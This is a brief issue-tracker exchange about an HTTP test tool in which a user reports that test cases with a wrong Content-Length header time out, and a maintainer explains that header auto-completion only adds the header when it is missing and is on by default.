1. When the content-length is incorrect in a test case, it causes the test to terminate immediately (even if other parts are normal):

Error: failed sending request to destination &{DestAddr:127.0.0.1 Port:80 Protocol:http}: read tcp 127.0.0.1:60878->127.0.0.1:80: i/o timeout

2. Adding the autocomplete_headers: true parameter for erroneous test cases appears to be ineffective.

Header auto completion will only add the content length header if it is missing. Did you remove the erroneous content length header? Also, auto completion is on by default.
